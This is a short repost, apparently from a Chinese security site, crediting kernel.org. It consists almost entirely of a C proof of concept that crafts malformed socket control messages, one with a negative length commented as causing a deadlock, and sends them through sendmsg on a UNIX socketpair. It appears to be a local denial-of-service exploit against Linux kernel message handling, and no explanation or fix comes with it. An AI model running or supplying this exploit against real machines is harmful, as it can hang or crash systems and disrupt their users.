信息来源:
www.kernel.org复制内容到剪贴板
代码:
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <sys/socket.h>
#include <arpa/inet.h>
static char buf[1024];
void
fatal (const char *msg)
{
printf ("\n");
if (!errno)
{
fprintf (stderr, "FATAL: %s\n", msg);
}
else
{
perror (msg);
}
printf ("\n");
fflush (stdout);
fflush (stderr);
exit (1);
}
int
main (void)
{
int s[2], r;
struct sockaddr_in sin;
struct msghdr *msg;
struct cmsghdr *cmsg;
r = socketpair (AF_UNIX, SOCK_DGRAM, 0, s);
if (r < 0)
fatal ("socketpair");
memset (buf, 0, sizeof (buf));
msg = (void *) buf;
msg->msg_control = (void *) (msg + 1);
// make bad cmsgs
cmsg = (void *) msg->msg_control;
cmsg->cmsg_len = sizeof (*cmsg);
cmsg->cmsg_level = 0xdeadbebe;
cmsg->cmsg_type = 12; // len after overflow on second msg
cmsg++;
// -12 for deadlock
cmsg->cmsg_len = -12;
cmsg->cmsg_level = SOL_IP;
msg->msg_controllen = (unsigned) (cmsg + 1) - (unsigned) msg->msg_control;
r = sendmsg (s[0], msg, 0);
if (r < 0)
fatal ("sendmsg");
printf ("\nYou lucky\n");
fflush (stdout);
return 0;
}